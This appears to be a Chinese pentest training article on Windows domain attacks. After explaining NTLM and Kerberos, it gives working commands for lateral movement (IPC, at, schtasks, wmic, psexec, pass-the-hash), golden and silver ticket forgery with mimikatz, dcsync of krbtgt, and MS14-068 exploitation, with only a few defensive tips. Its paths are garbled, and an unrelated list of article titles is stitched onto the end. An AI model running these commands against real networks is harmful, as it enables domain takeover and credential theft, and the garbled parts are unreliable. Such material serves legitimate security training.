最近我们针对渗透测试线下就业班的课程进行了深度调研,从问卷结果发现很多学员反馈关于内网渗透的课程不容易掌握。

今天,i 春秋针对内网域渗透知识进行了总结,希望对大家学习渗透测试课程有所帮助。

一、NTLM协议
在工作组中,密码hash保存在本地的SAM文件中

(%SystemRoot%system32configsam),在域里保存在ntds.dit文件中,hash的格式为:用户名称:SID:LM-Hash值:NT-Hash值

Administrator:500:aad3b435b51404eeaad3b435b51404ee:32057716c8bd0647d9197a9db0b041eb:::

500冒号后面的是LM hash,bd0647d9197a9db0b041eb是ntml hash。

0x1.1 LM Hash

LM Hash的全称是LAN Manager Hash,如果明文是dbnames,先要全部转换成大写,然后将大写字符串转换成16进制,如果明文大写转换的二进制不足14个字节,需要用0在后面添加到14个字节

44424e414d455300000000000000    dbnames的16进制为44424e414d4553

由于44424e414d4553转换二进制为8字节,所以这两个8字节数据要用魔术字符串KGS!@#$%DES加密。

4B47532140232425     为'KGS!@#$%'的16进制

将KGS!@#$%为key对这2个8字节进行des加密。

0x1.2 NTLM Hash

从Windows Vista开始,密码默认情况是只有存储NTLM Hash,LM Hash不会存在,在NTLM Hash中,先将字符串进行16进制转换,然后在转换成unicode字符串,最后使用MD4加密算法对Unicode进行加密,所以LM Hash跟NTLM相比,LM明文大小写不敏感,可以判断明文是否小于8位,不使用'KGS!@#$%'作为key进行des加密,而NTML采用单向加密方式(MD4)。

0x1.3 NTLM认证协议

NTLM协议认证分为三部分:协商、质询、身份验证验证。

NTLM协议认证过程:

1、用户输入账号密码,客户端中包含明文用用户名向服务端发起请求

2、服务端接收到客户端的请求,会生成一个challenge 16位随机数,使用存储的NTLM Hash加密challenge,生成challenge1,然后将challenge的16位明文随机数发送给客户端

3、客户端接收到challenge后,使用用户登录的密码hash加密challenge生成response(challenge2),将这个response发送给客户端

4、服务端接收到response,对challenge1和challenge2进行比较,相同的话就验证成功

0x1.4 NTLM v1与NTLM v2

challenge:NTLM v1是8的随机数;NTLM v2是16位的随机数。

Net-NTLM Hash:

1、NTLM v1采用的是DES加密,在16字节后面填充5个0,组成21字节,然后分成3组7个字节的,并在每7个字节后面填充1个0,成为3个8字节的DES密钥,加密上诉步骤2(server)发来的challenge,组成24字节的密文。

2、NTLM v2采用的HMAC-MD5加密

二、Kerberos协议

Kerberos是一种网络认证协议,主要在windows域中,其设计目标是通过密钥系统为客户机 / 服务器应用程序提供强大的认证服务。在Kerbeos协议中主要有三个角色:

①Client

②Server

③KDC,在KDC中又有两个部分组成:

AS:作用是验证Client是不是本人TGS:为Client生成访问某个服务的ST票据(TGS Ticket)

认证过程:

1、客户端向KDC(AS)发起一个认证请求(KRB_AS_REQ),在请求的过程中,是通过用户的密码hash加密的时间戳,然后发送给AS服务器,AS服务器接收到后,采用服务器那边的密码hash进行解密这个时间戳,解密成功后,并且时间戳在一定时间范围,说明认证成功。

2、AS对比用户是否在本地数据库中,使用客户端的hash进行解密,正确就返回krbtgt的密码hash加密的TGT票据(到期时间一般为8小时),用户是无法解密这个TGT票据的,但是有了krbtgt的hash,就可以伪造'黄金票据'。还要返回一个由客户端用户ntml hash加密的Session Key(sessionkey1),Session Key是KDC接收请求后的随机生成的字符(KRB_AS_REP)。

3、客户端用自己的密码hash解密Session Key,TGT是KDC加密的,Client无法解密,Client拿着解密出来的SessionKey去加密时间戳和TGT发送给TGS换取访问Server的票据(KRB_TGS_REQ)。

4、TGS收到Client的请求后,会验证是否存在客户端要访问的这个服务,存在的话KDC使用krbtgt的密码hash对TGT进行解密,然后会查看TGT中的时间戳,看是否TGT失效,如果解密成功的TGT没有失效,向客户端发送通过sessionkey1加密的Session_key和ticket票据,在TGSREP中,用的是服务的hash加密ticket的,所有我们拥有这个服务的hash就可以制作一个ticket(即白银票据)(KRB_TGS_REP)。

5、客户端拿着自己sessionkey1解密的Session_Key(sessionkey2),然后把sessionkey2加密的时间戳和ticket发送个Server去访问服务,认证通过就可以访问(KRB_AP_REQ)。

6、服务使用自己的hash去解密ticket票据,得到sessionkey2,在用sessionkey2去解密时间戳,解密成功,就用PAC去KDC问客户端是否有访问的权限,域控解密PAC,用于让客户端识别是否访问正确的服务端(KRB_AP_REP)。

三、内网横向移动的常用方法

0x1.1 ipc连接

net use 192.168.1.232C$ admin123456 /user:fanxing.comfanxing

复制文件到主机上

copy 1.bat 192.168.1.232c$ools

获取服务器的时间

net time 192.168.1.232

创建计划任务,20:05执行1.bat文件,cobaltstrike上线成功。

at 192.168.1.232 20:05 c:ools1.bat

下面是ipc连接当中常见的错误号:

错误号5:拒绝访问--->使用的权限太低,需要提权错误号51:Windows无法找到网络路径,网络有问题错误号53:找不到网络路径,ip地址错误、目标未开机、目标lanmanserver服务未开启、目标有防火墙(端口过滤)错误号67:找不到网络名->你的lanmanworkstation服务未启动或者目标删除了ipc$错误号1219:提供的凭据与已存在的凭据集冲突->你已经和对方建立了一个ipc,请删除在连接错误号1326:未知的用户名或错误密码错误号1792:试图登录,但是网络登录服务没启动->目标BetLogon服务未启动错误号2242:此用户的密码已经过期->目标有账号策略,强制定期要求更改密码

0x1.2 schtasks创建计划任务

设置每天晚上8:40执行1.bat文件

schtasks /create /s 192.168.1.232 /u fanxing.comfanxing /p admin@163.com /ru "SYSTEM" /tn fanxing /sc DAILY /st 20:40  /tr c:ools1.bat /F

0x1.3 WMI

wmi服务需要开启135端口,这个是默认开启的。

wmic /node:192.168.1.232 /user:fanxing.comfanxing /password:admin@163.com process call create "cmd /c 1.exe"

使用wmic没有任何回显,可以wmicexec.vbs解决无回显的问题,或者获取一个半交互式shell。

cscript wmiexec.vbs /cmd 192.168.1.232 fanxing.comfanxing admin@163.com whoami

0x1.4 pstools

pstools中有13个小工具,这里主要利用p**ec进行远程执行命令,唯一的缺点就是会开启一个服务,容易被管理员发现。

在ipc建立连接的时候,可以直接使用p**ec:

p**ec.exe 192.168.1.232 -h cmd /c "whoami"

当ipc没有连接时:

P**ec.exe 192.168.1.232 -u fanxing.comfanxing -p admin@163.com -h cmd /c "whoami"

使用metasploit执行:

use auxiliary/admin/smb/p**ec_commandset rhosts 192.168.1.232set smbuser fanxingset smbpass admin@163.comset smbdomain fanxing.comset command whoami

0x1.5 hash传递(PTH)

hash传递是通过密码的hash访问主机或者服务,不需要明文登录。hash的原理,出现在上面讲的NTML认证过程的challenge。利用metasploit:

use exploit/windows/smb/p**ecset rhosts 192.168.50.233set SMBPass 32057716c8bd0647d9197a9db0b041ebset SMBUser administratorset SMBDomain fanxing.com

四、黄金票据

黄金票据是AS颁发给Client的TGT票据(TGT的有效时间为20分钟),是通过域kerberos账户(KRBTGT)加密的。实现原理就是跳过了AS的认证过程,直接向KDC的TGS服务证明通过了AS服务。一般黄金票据都是域控的权限掉了的时候,修改了域控的密码,而krbtgt的密码没有被修改,就可以重新获取到域控权限。

满足黄金票据的条件有:

①域的名称

②域的SID值

③域中KRBTGT的密码hash

④伪造的用户名

在金票的利用过程中,可以使用mimikatz,cobaltstrike,metasploit来伪造。

0x1.1 Mimikatz

导出krbtgt的NTML Hash

privilege::debug      #提权[/size][size=18px]lsadump::dcsync /domain:fanxing.com /user:krbtgt

获取域的SID值,不要后面的-500。

whoami /all

伪造金票

kerberos::golden /domain:fanxing.com /sid:S-1-5-21-3408186607-3793295459-3581146574 /aes256:3df036f90aaf3a63a5cce96fc753f08beb5a2e61946e17cc7d5e6ce04b651b89 /user:fanxing /ticket:gold.kirbi

导入Golden Ticket:

kerberos::ptt c:甥敳獲estgold.kirbi

可以使用dir访问域控目录,要输入主机名,使用ip还是访问不到。

dir WIN-M34UCFJIPNQc$

mimikatz还有另外一中方法:

kerberos::golden /domain:fanxing.com /sid:S-1-5-21-3408186607-3793295459-3581146574 /rc4:8b3955c065502e33716d555d4421a723 /user:fanxing /ptt

0x1.2 CobaltStrike

在上线之后->执行->黄金票据:

0x1.3 Metasploit

msf制作金票

load kiwi

生成Golden Ticket

golden_ticket_create -d fanxing.com -k 8b3955c065502e33716d555d4421a723 -s S-1-5-21-3408186607-3793295459-3581146574 -u fanxing -t /tmp/golden.ticket

将票据导入内存中

kerberos_ticket_use /tmp/golden.ticket

dir访问目录成功

金票的创建,需要krbtgt的密码ntml hash,对于防御,只要定期的修改krbtgt的密码,就能使金票失效。

五、白银票据

白银票据是TGS颁发给Client的ST票据,根据kerberos协议第5步,Server会对Clinet的ST票据利用Client的hash解密,所以这个过程不需要经过KDC,而且只能访问Server的服务一次。

满足一下条件,即可以伪造银票:

①域的名称

②域的SID值

③域服务的NTML Hash

④要伪造的用户名

⑤目标服务器的kerberos服务

常用的服务名有:

伪造银票

kerberos::golden /domain:fanxing.com /sid:S-1-5-21-3408186607-3793295459-3581146574 /target:WIN-M34UCFJIPNQ.fanxing.com /service:cifs /rc4:dcd87fc42d9d8ac03dec5931a55ddd59 /user:fanxing /ptt

对于银票的防御措施可以开启PAC,PAC只能KDC制作和查看,在注册表中添加一个ValidateKdcPacSignature为1。

HKEY_LOCAL_MACHINESYSTEMCurrentControlSetControlLsaKerberosParameters

六、MS14-068

Client向AS申请一张不包含PAC的TGT票据,会伪造一个PAC,在TGS_REP中,对伪造的PAC验证成功后,会返回一个新的TGT票据。

通过MS14-068exp利用:

MS14-068.exe -u 当前域用户@域名称 -p 当前域用户密码 -s sid值 -d 域控ip

sid值通过whoami /all获取

然后会在目录下生成一个证书,利用mimikatz。

kerberos::ptc C:wwwrootTGT_xxxxx@fanxing.com.ccache

就可以使用dir访问到域控的目录。

对于ms14-068的防御可以打补丁KB3011780和使用winserver2012。

以上是今天的内容,大家看懂了吗?当然内网域渗透知识还有很多没有整理完,更多的内容分享希望大家及时关注i春秋。

des加密出的字符串有特殊字符吗_纯干货分享丨内网渗透很难学吗?相关推荐

  1. 微软AI 绘图工具+ChatGPT免费用,10秒轻松出图,超详细教程,纯干货分享

    文 / 高扬(微信公众号:量子论) 人嘛,总爱喜新厌旧.很多朋友找我(gaoyang677)建议将"量子论"公众号的教程再做个扩展,比如讲讲如何用AI绘图. 经过内部讨论,认为这个 ...

  2. C# 使用DES加密,解密字符串

    1 DES类 using System; using System.Collections.Generic; using System.Linq; using System.Text; using S ...

  3. Java中找出s字符串的回文_给定一个字符串 s,找到 s 中最长的回文子串。

    题目描述:给定一个字符串 s,找到 s 中最长的回文子串.你可以假设 s 的最大长度为 1000. 思路: 判断s[i..j]是否是回文字符串,依赖于s[i+1...j-1],这种一个问题的结果依赖于 ...

  4. getjsonobject字符串解析出错_【干货分享】达梦DISQL工具使用解析之 DISQL环境变量设置...

    在众多使用达梦数据库的朋友中,大部分人已经习惯了DM图形化管理工具.但在有些环境下无法调出DM数据库的图形化管理工具这个"神器",只能使用DISQL来进行操作.那么如何让DISQL ...

  5. C# DES加密解密算法

    C# DES加密解密算法 #region DES Class /// <summary> /// ClassName: DES 加密类 /// DES加密.解密类库,字符串加密结果使用BA ...

  6. 微信小程序(一)DES加密

    最近准备写一个小程序系列的学习文章,为了更好的融汇贯通各个知识点,就以一个项目为基础去实现.项目名称为卓园科技任务系统. 首先,介绍一下这个项目大概思路,发布任务.接受任务.完成任务.结束任务.我会根 ...

  7. winmanager内网安全管理和文档加密管理系统

    winmanager内网安全管理和文档加密管理系统<?xml:namespace prefix = o ns = "urn:schemas-microsoft-com:office:o ...

  8. java des 加密 字符串_Java使用DES加密字符串

    Java使用DES加密字符串 编号:A3GS_TJ20100108004 描述: 本文讲述了如何在Java下使用DES加密字符串. 例子: NO 技术实现: 导入包: import java.io.U ...

  9. DES加密和解密工具,可以对字符串进行加密和解密操作

    DES加密和解密工具,可以对字符串进行加密和解密操作 import java.io.UnsupportedEncodingException;import java.security.Key;impo ...

最新文章

  1. PAT(甲级)2018年秋季考试 7-1 Werewolf - Simple Version
  2. 【Python】SyntaxError: unexpected EOF while parsing
  3. vue,一路走来(14)--短信验证码框的实现(类似支付密码框)
  4. Oracle with语句的用法
  5. PHP面向对象常见的关键字和魔术方法
  6. [面经]春季跳槽面筋总结 [2018年3月17]
  7. jzoj3338-[NOI2013模拟]法法塔的奖励【权值线段树,线段树合并】
  8. CMD启动mysql服务“发生系统错误 5”的解决办法
  9. SpringBoot中注入ApplicationContext对象的三种方式
  10. java需求设计_JavaWeb期末设计---需求分析文档. stage1
  11. 怎样用python随机生成100内的100个奇数_python怎么随机生成奇数_后端开发
  12. 理解C++ dynamic_cast
  13. Ubuntu改坏sudoers后无法使用sudo的解决办法
  14. 工人退休工资偏低,为什么?
  15. 关于idea,springboot启动最新版ibase4j报Unable to start ServletWebServerApplicationContext due to missing Serv
  16. 前端小白的挖坑填坑之路。
  17. 要坚信自己可以变成白天鹅的事实
  18. 利用js快速完成大学生新生安全教育课程
  19. 1007 Maximum Subsequence Sum (25 分) java 题解
  20. centos7子系统 win10_Windows10内置Linux子系统初体验

热门文章

  1. 杀掉僵尸 MapReduce 任务的两种方式
  2. github比sourceforge好在哪?
  3. 纯CSS实现的滑动的可折叠菜单
  4. [机器学习]京东机器学习类图书畅销原因分析-决策树或随机森林
  5. 深度学习-tensorflow1.x- 理解 经过softmax_cross_entropy_with_logit后 随机梯度下降的过程
  6. 使用鸿蒙系统的家电厂商,除了华为外!谁还会用鸿蒙系统?米OV们不可能:这些巨头才会用...
  7. flink 三种时间机制_Flink的时间类型和watermark机制
  8. bat从数组中找出相同数字并删除_全网把Map中的hash()分析的最透彻的文章,别无二家...
  9. 计算机网络 —— OSI参考模型
  10. Eigen--.block(i,j,p,q)